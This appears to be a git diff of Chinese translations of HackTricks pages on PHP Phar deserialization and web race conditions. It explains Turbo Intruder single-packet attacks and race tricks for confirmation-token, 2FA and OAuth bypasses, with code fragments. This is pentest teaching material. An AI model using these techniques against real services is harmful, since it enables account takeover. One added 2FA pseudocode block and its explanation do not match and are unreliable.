|
||||||
|
|
||||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并且想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -12,17 +12,17 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对 **黑客职业** 感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Phar** 文件(PHP 存档)文件以序列化格式包含元数据,因此,在解析时,此元数据将被反序列化,你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
**Phar** 文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,这些元数据会被反序列化,你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
||||||
|
|
||||||
这个特性最好的一点是,即使使用不评估 PHP 代码的 PHP 函数(如 **file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**),这个反序列化也会发生。
|
这个特性最好的一点是,即使使用不会评估 PHP 代码的 PHP 函数(如 **file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**),这个反序列化也会发生。
|
||||||
|
|
||||||
因此,想象一种情况,你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小,并在代码中找到类似以下的 **class**:
|
所以,想象一下这样的情况,你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小,并在代码中找到类似下面的代码:
|
||||||
|
|
||||||
{% code title="vunl.php" %}
|
{% code title="vunl.php" %}
|
||||||
```php
|
```php
|
||||||
|
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
您可以创建一个**phar**文件,当加载时,它将滥用这个类来执行任意命令,例如:
|
您可以创建一个**phar**文件,当加载时,将使用类似以下内容的方式**滥用该类来执行任意命令**:
|
||||||
|
|
||||||
{% code title="create_phar.php" %}
|
{% code title="create_phar.php" %}
|
||||||
```php
|
```php
|
||||||
|
@ -85,7 +85,7 @@ php vuln.php
|
||||||
|
|
||||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||||
|
|
||||||
|
@ -97,8 +97,8 @@ php vuln.php
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -22,27 +22,27 @@
|
||||||
|
|
||||||
## 利用竞争条件
|
## 利用竞争条件
|
||||||
|
|
||||||
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms)。在下面的部分中,提出了不同的解决方案,以实现这一点。
|
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms)。在下一节中,提出了不同的解决方案,以实现这一点。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### 单数据包攻击(HTTP/2)/ 最后一个字节同步(HTTP/1.1)
|
### 单数据包攻击(HTTP/2)/ 最后一个字节同步(HTTP/1.1)
|
||||||
|
|
||||||
HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,它们必须是顺序的)。\
|
HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,它们必须是顺序的)。\
|
||||||
使用单个TCP数据包完全**消除了网络抖动的影响**,因此这对于竞争条件攻击也具有潜力。然而,**两个请求对于可靠的竞争攻击来说是不够的**,这要归功于**服务器端抖动** - 应用程序请求处理时间的变化,由于CPU争用等不可控变量引起。
|
使用单个TCP数据包可以完全**消除网络抖动的影响**,因此这对于竞争条件攻击也具有潜力。然而,**两个请求对于可靠的竞争攻击来说是不够的**,这要归功于**服务器端抖动** - 应用程序请求处理时间的变化,由于CPU争用等不可控变量引起。
|
||||||
|
|
||||||
但是,使用HTTP/1.1的'**最后一个字节同步**'技术,可以预先发送大部分数据,并保留每个请求的一个小片段,然后使用一个单个TCP数据包'完成'**20-30个请求**。
|
但是,使用HTTP/1.1的'**最后一个字节同步**'技术,可以预先发送大部分数据,并保留每个请求的一个小片段,然后使用一个单个TCP数据包'完成'**20-30个请求**。
|
||||||
|
|
||||||
要**预先发送每个请求的大部分**:
|
要**预先发送每个请求的大部分数据**:
|
||||||
|
|
||||||
* 如果请求没有正文,请发送所有标头,但不设置END\_STREAM标志。保留一个带有设置了END\_STREAM的空数据帧。
|
- 如果请求没有正文,请发送所有标头,但不设置END\_STREAM标志。保留一个带有设置了END\_STREAM的空数据帧。
|
||||||
* 如果请求有正文,请发送标头和除最后一个字节之外的所有正文数据。保留一个包含最后一个字节的数据帧。
|
- 如果请求有正文,请发送标头和除最后一个字节之外的所有正文数据。保留一个包含最后一个字节的数据帧。
|
||||||
|
|
||||||
接下来,**准备发送最后的帧**:
|
接下来,**准备发送最后的帧**:
|
||||||
|
|
||||||
* 等待100ms,以确保初始帧已发送。
|
- 等待100ms,以确保初始帧已发送。
|
||||||
* 确保禁用TCP\_NODELAY - Nagle算法批处理最后的帧至关重要。
|
- 确保禁用TCP\_NODELAY - Nagle算法批处理最后的帧至关重要。
|
||||||
* 发送一个ping数据包以预热本地连接。如果不这样做,操作系统的网络堆栈将把第一个最后的帧放在一个单独的数据包中。
|
- 发送一个ping数据包以预热本地连接。如果不这样做,操作系统的网络堆栈将把第一个最后的帧放在一个单独的数据包中。
|
||||||
|
|
||||||
最后,发送被保留的帧。您应该能够使用Wireshark验证它们是否落在一个单独的数据包中。
|
最后,发送被保留的帧。您应该能够使用Wireshark验证它们是否落在一个单独的数据包中。
|
||||||
|
|
||||||
|
@ -50,15 +50,15 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
||||||
请注意,这**对于某些服务器上的静态文件不起作用**,但静态文件对于竞争条件攻击是无关紧要的。
|
请注意,这**对于某些服务器上的静态文件不起作用**,但静态文件对于竞争条件攻击是无关紧要的。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
使用这种技术,您可以使20-30个请求同时到达服务器 - 无论网络抖动如何:
|
使用这种技术,您可以使20-30个请求同时到达服务器 - 不受网络抖动的影响:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**适应目标架构**
|
**适应目标架构**
|
||||||
|
|
||||||
值得注意的是,许多应用程序位于前端服务器后面,这些服务器可能决定将某些请求转发到后端的现有连接,并为其他请求创建新的连接。
|
值得注意的是,许多应用程序位于前端服务器后面,这些服务器可能决定将某些请求转发到后端的现有连接,并为其他请求创建新的连接。
|
||||||
|
|
||||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在攻击之前执行服务器端连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如只允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||||
|
|
||||||
#### 基于会话的锁定机制 <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
#### 基于会话的锁定机制 <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||||
|
|
||||||
|
@ -67,15 +67,15 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
||||||
发现此类行为非常重要,因为否则它可能掩盖了可以轻松利用的漏洞。如果注意到所有请求都按顺序处理,请尝试使用不同的会话令牌发送每个请求。
|
发现此类行为非常重要,因为否则它可能掩盖了可以轻松利用的漏洞。如果注意到所有请求都按顺序处理,请尝试使用不同的会话令牌发送每个请求。
|
||||||
#### **滥用速率或资源限制**
|
#### **滥用速率或资源限制**
|
||||||
|
|
||||||
如果连接预热没有任何效果,那么有各种解决方案可供选择。
|
如果连接预热没有任何效果,有多种解决方案可解决此问题。
|
||||||
|
|
||||||
使用Turbo Intruder,您可以引入短暂的客户端延迟。然而,由于这涉及将实际的攻击请求分割成多个TCP数据包,您将无法使用单数据包攻击技术。因此,在高抖动目标上,无论您设置了多少延迟,攻击都不太可能可靠地工作。
|
使用Turbo Intruder,您可以引入短暂的客户端延迟。然而,由于这涉及将实际攻击请求分割成多个TCP数据包,您将无法使用单数据包攻击技术。因此,在高抖动目标上,无论您设置了什么延迟,攻击都不太可能可靠地工作。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
相反,您可以通过滥用常见的安全功能来解决此问题。
|
相反,您可以通过滥用常见的安全功能来解决此问题。
|
||||||
|
|
||||||
Web服务器通常会**在发送请求过多时延迟处理**。通过发送大量的虚假请求来故意触发速率或资源限制,您可能会导致适当的服务器端延迟。这使得即使需要延迟执行,单数据包攻击也是可行的。
|
Web服务器通常会**延迟处理请求,如果发送得太快**。通过发送大量的虚拟请求来故意触发速率或资源限制,您可能会导致适当的服务器端延迟。这使得即使需要延迟执行,单数据包攻击也是可行的。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -85,7 +85,7 @@ Web服务器通常会**在发送请求过多时延迟处理**。通过发送大
|
||||||
|
|
||||||
#### 攻击示例
|
#### 攻击示例
|
||||||
|
|
||||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值**`%s`**,例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -130,13 +130,13 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||||
# send all the queued requests for this attempt
|
# send all the queued requests for this attempt
|
||||||
engine.openGate(currentAttempt)
|
engine.openGate(currentAttempt)
|
||||||
```
|
```
|
||||||
* 它还可以通过Burp Suite中的新的“并行发送组”选项在Repeater中使用。
|
* 它还可以通过Burp Suite中的新选项“以并行方式发送组”在Repeater中使用。
|
||||||
* 对于limit-overrun,您可以在组中添加相同的请求50次。
|
* 对于limit-overrun,您可以在组中添加相同的请求50次。
|
||||||
* 对于连接预热,您可以在组的开头添加一些请求到Web服务器的非静态部分。
|
* 对于连接预热,您可以在组的开头添加一些请求到Web服务器的非静态部分。
|
||||||
* 对于在两个子状态步骤之间延迟处理一个请求和另一个请求,您可以在两个请求之间添加额外的请求。
|
* 对于在两个子状态步骤之间延迟处理一个请求和另一个请求,您可以在两个请求之间添加额外的请求。
|
||||||
* 对于多端点的RC,您可以开始发送到隐藏状态的请求,然后在其后发送50个利用隐藏状态的请求。
|
* 对于多端点的RC,您可以开始发送到隐藏状态的请求,然后在其后发送50个利用隐藏状态的请求。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### 原始BF
|
### 原始BF
|
||||||
|
|
||||||
|
@ -213,49 +213,49 @@ asyncio.run(main())
|
||||||
|
|
||||||
1. **预测潜在的隐藏和有趣的子状态**
|
1. **预测潜在的隐藏和有趣的子状态**
|
||||||
|
|
||||||
第一步是识别所有写入它或从中读取数据并将该数据用于某些重要事项的端点。例如,用户可能存储在由注册、配置文件编辑、密码重置启动和密码重置完成修改的数据库表中。
|
第一步是识别所有的端点,无论是写入还是读取数据,并将该数据用于某些重要的操作。例如,用户可能存储在一个数据库表中,该表通过注册、配置文件编辑、密码重置启动和密码重置完成进行修改。
|
||||||
|
|
||||||
我们可以使用三个关键问题来排除不太可能引起冲突的端点。对于每个对象和相关的端点,问:
|
我们可以使用三个关键问题来排除不太可能引起冲突的端点。对于每个对象和相关的端点,问:
|
||||||
|
|
||||||
* **状态是如何存储的?**
|
* **状态是如何存储的?**
|
||||||
|
|
||||||
存储在持久的服务器端数据结构中的数据非常适合利用。某些端点完全在客户端存储其状态,例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。
|
存储在持久的服务器端数据结构中的数据非常适合利用。某些端点将其状态完全存储在客户端,例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。
|
||||||
|
|
||||||
应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 关于此后面会有更多介绍。
|
应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 关于这一点稍后再说。
|
||||||
|
|
||||||
* **我们是在进行编辑还是追加操作?**
|
* **我们是在编辑还是在追加?**
|
||||||
|
|
||||||
编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅追加到现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除限制超越攻击之外的任何漏洞的影响。
|
编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅仅追加现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除了限制超越攻击之外的任何漏洞。
|
||||||
|
|
||||||
* **操作的键是什么?**
|
* **操作的键是什么?**
|
||||||
|
|
||||||
大多数端点都在特定记录上操作,该记录使用“键”进行查找,例如用户名、密码重置令牌或文件名。为了成功攻击,我们需要使用相同键的两个操作。例如,想象两个合理的密码重置实现:
|
大多数端点都是在特定记录上操作的,该记录是使用“键”查找的,例如用户名、密码重置令牌或文件名。为了成功攻击,我们需要两个使用相同键的操作。例如,想象两个合理的密码重置实现:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
2. **寻找线索**
|
2. **寻找线索**
|
||||||
|
|
||||||
此时是时候对潜在有趣的端点发起一些RC攻击,以尝试找到与常规响应不同的意外结果。任何与预期响应的偏差,例如一个或多个响应的变化,或者像电子邮件内容的不同或会话中可见的更改这样的二阶效应,都可能是指示出现问题的线索。
|
此时是时候对潜在的有趣端点发起一些RC攻击,以寻找与常规响应不同的意外结果。任何与预期响应的改变,比如一个或多个响应的变化,或者像电子邮件内容的不同或会话中可见的变化这样的二阶效应,都可能是指示出现问题的线索。
|
||||||
|
|
||||||
3. **验证概念**
|
3. **验证概念**
|
||||||
|
|
||||||
最后一步是**验证概念并将其转化为可行的攻击**。
|
最后一步是**验证概念并将其转化为可行的攻击**。
|
||||||
|
|
||||||
当您发送一批请求时,您可能会发现早期的请求对一个易受攻击的最终状态进行了触发,但后来的请求覆盖/使其无效,最终状态无法利用。在这种情况下,您将希望消除所有不必要的请求 - 两个请求应足以利用大多数漏洞。然而,减少到两个请求将使攻击更加时间敏感,因此您可能需要多次重试攻击或自动化攻击。
|
当您发送一批请求时,您可能会发现早期的请求对一个易受攻击的最终状态进行了触发,但后来的请求覆盖/使其无效,最终状态无法被利用。在这种情况下,您将希望消除所有不必要的请求 - 两个请求应该足以利用大多数漏洞。然而,减少到两个请求将使攻击更加时间敏感,因此您可能需要多次重试攻击或自动化攻击。
|
||||||
|
|
||||||
### 时间敏感攻击
|
### 时间敏感攻击
|
||||||
|
|
||||||
有时您可能找不到竞争条件,但是**以精确的时间传递请求的技术**仍然可以揭示其他漏洞的存在。
|
有时您可能找不到竞争条件,但是**以精确的时间交付请求的技术**仍然可以揭示其他漏洞的存在。
|
||||||
|
|
||||||
一个例子是当使用**高分辨率时间戳**而不是加密安全的随机字符串来生成安全令牌时。
|
一个例子是当使用**高分辨率时间戳**而不是加密安全的随机字符串来生成安全令牌时。
|
||||||
|
|
||||||
考虑一个仅使用时间戳进行随机化的**密码重置令牌**。在这种情况下,可能可以**触发两个不同用户的两个密码重置**,它们都使用**相同的令牌**。您只需要计时请求,以使它们生成相同的时间戳。
|
考虑一个仅使用时间戳进行随机化的**密码重置令牌**。在这种情况下,可能可以**触发两个不同用户的两个密码重置**,它们都使用**相同的令牌**。您只需要计时请求,使它们生成相同的时间戳。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
要确认前面的情况,您只需同时请求**2个重置密码令牌**(使用单个数据包攻击),然后检查它们是否**相同**。
|
要确认前面的情况,您只需同时请求**2个重置密码令牌**(使用单个数据包攻击),并检查它们是否**相同**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)中检查示例。
|
在[**这个实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)中检查示例。
|
||||||
|
|
||||||
## 隐藏的子状态案例研究
|
## 隐藏的子状态案例研究
|
||||||
|
|
||||||
|
@ -269,21 +269,54 @@ asyncio.run(main())
|
||||||
|
|
||||||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||||||
|
|
||||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种方式的接管,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
根据[**这篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种方式的接管,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||||
|
|
||||||
您还可以查看[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
您还可以查看[**这个实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
||||||
|
|
||||||
### 隐藏的数据库状态/确认绕过
|
### 隐藏的数据库状态/确认绕过
|
||||||
|
|
||||||
如果使用**2个不同的写入**将**信息**添加到**数据库**中,那么在**只有第一个数据被写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的令牌。这意味着在短时间内**确认帐户的令牌为空**。
|
如果使用**2个不同的写操作**将**信息**添加到**数据库**中,那么在**只有第一个数据被写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的**令牌**。这意味着在短时间内**确认帐户的令牌为空**。
|
||||||
|
|
||||||
因此,**注册一个帐户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)立即确认帐户可能允许您确认一个您无法控制的电子邮件的帐户。
|
因此,**注册一个帐户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)立即确认帐户可能允许您确认一个您无法控制的电子邮件的帐户。
|
||||||
|
|
||||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
在[**这个实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
||||||
|
### 绕过2FA
|
||||||
|
|
||||||
### 绕过双因素认证
|
以下伪代码演示了一个网站如何容易受到这种攻击的竞争变体的影响:
|
||||||
|
|
||||||
以下伪代码演示了一个网站如何容易受到此攻击的竞争变体:
|
```python
|
||||||
|
def login(username, password):
|
||||||
|
if verify_credentials(username, password):
|
||||||
|
if not is_2fa_enabled(username):
|
||||||
|
return "Login successful"
|
||||||
|
else:
|
||||||
|
token = generate_2fa_token()
|
||||||
|
send_2fa_token(username, token)
|
||||||
|
return "Please enter 2FA token"
|
||||||
|
else:
|
||||||
|
return "Invalid credentials"
|
||||||
|
|
||||||
|
def verify_2fa_token(username, token):
|
||||||
|
if is_2fa_enabled(username):
|
||||||
|
stored_token = get_stored_2fa_token(username)
|
||||||
|
if token == stored_token:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def process_login(username, password, token):
|
||||||
|
if verify_credentials(username, password):
|
||||||
|
if verify_2fa_token(username, token):
|
||||||
|
return "Login successful"
|
||||||
|
else:
|
||||||
|
return "Invalid 2FA token"
|
||||||
|
else:
|
||||||
|
return "Invalid credentials"
|
||||||
|
```
|
||||||
|
|
||||||
|
在这个示例中,攻击者可以利用竞争条件来绕过2FA验证。攻击者可以在发送2FA令牌之后但在验证令牌之前尽快完成登录过程,从而绕过2FA验证。这种攻击的成功取决于攻击者能够在验证令牌之前完成登录过程。
|
||||||
```python
|
```python
|
||||||
session['userid'] = user.userid
|
session['userid'] = user.userid
|
||||||
if user.mfa_enabled:
|
if user.mfa_enabled:
|
||||||
|
@ -291,7 +324,7 @@ session['enforce_mfa'] = True
|
||||||
# generate and send MFA code to user
|
# generate and send MFA code to user
|
||||||
# redirect browser to MFA code entry form
|
# redirect browser to MFA code entry form
|
||||||
```
|
```
|
||||||
正如你所看到的,这实际上是一个**在单个请求的范围内的多步骤序列**。最重要的是,它会在一个子状态中**临时拥有有效的登录会话,但尚未强制执行MFA**。攻击者可以通过发送登录请求以及对敏感的经过身份验证的端点的请求来利用这一点。
|
正如你所看到的,这实际上是一个**在单个请求的范围内的多步骤序列**。最重要的是,它会在一个子状态中转换,其中**用户在临时拥有有效的登录会话,但尚未强制执行多因素身份验证(MFA)**。攻击者可以通过发送登录请求以及对敏感的经过身份验证的端点的请求来利用这一点。
|
||||||
|
|
||||||
### OAuth2永久持久性
|
### OAuth2永久持久性
|
||||||
|
|
||||||
|
@ -300,7 +333,7 @@ session['enforce_mfa'] = True
|
||||||
|
|
||||||
#### `authorization_code`中的竞争条件
|
#### `authorization_code`中的竞争条件
|
||||||
|
|
||||||
**问题**出现在您**接受并自动发送一个`authorization_code`**给恶意应用程序时。然后,该**应用程序滥用OAuth服务提供者中的竞争条件,从`authorization_code`为您的帐户生成多个AT/RT**(身份验证令牌/刷新令牌)。基本上,它会滥用您已经接受应用程序访问您的数据的事实,以**创建多个帐户**。然后,如果您**停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍然有效**。
|
**问题**出现在您**接受并自动发送一个`authorization_code`**给恶意应用程序时。然后,该**应用程序滥用OAuth服务提供者中的竞争条件,从`authorization_code`为您的帐户生成多个AT/RT**(身份验证令牌/刷新令牌)。基本上,它将滥用您已经接受应用程序访问您的数据的事实,以**创建多个帐户**。然后,如果您**停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他对仍然有效**。
|
||||||
|
|
||||||
#### `Refresh Token`中的竞争条件
|
#### `Refresh Token`中的竞争条件
|
||||||
|
|
||||||
|
@ -322,7 +355,7 @@ session['enforce_mfa'] = True
|
||||||
|
|
||||||
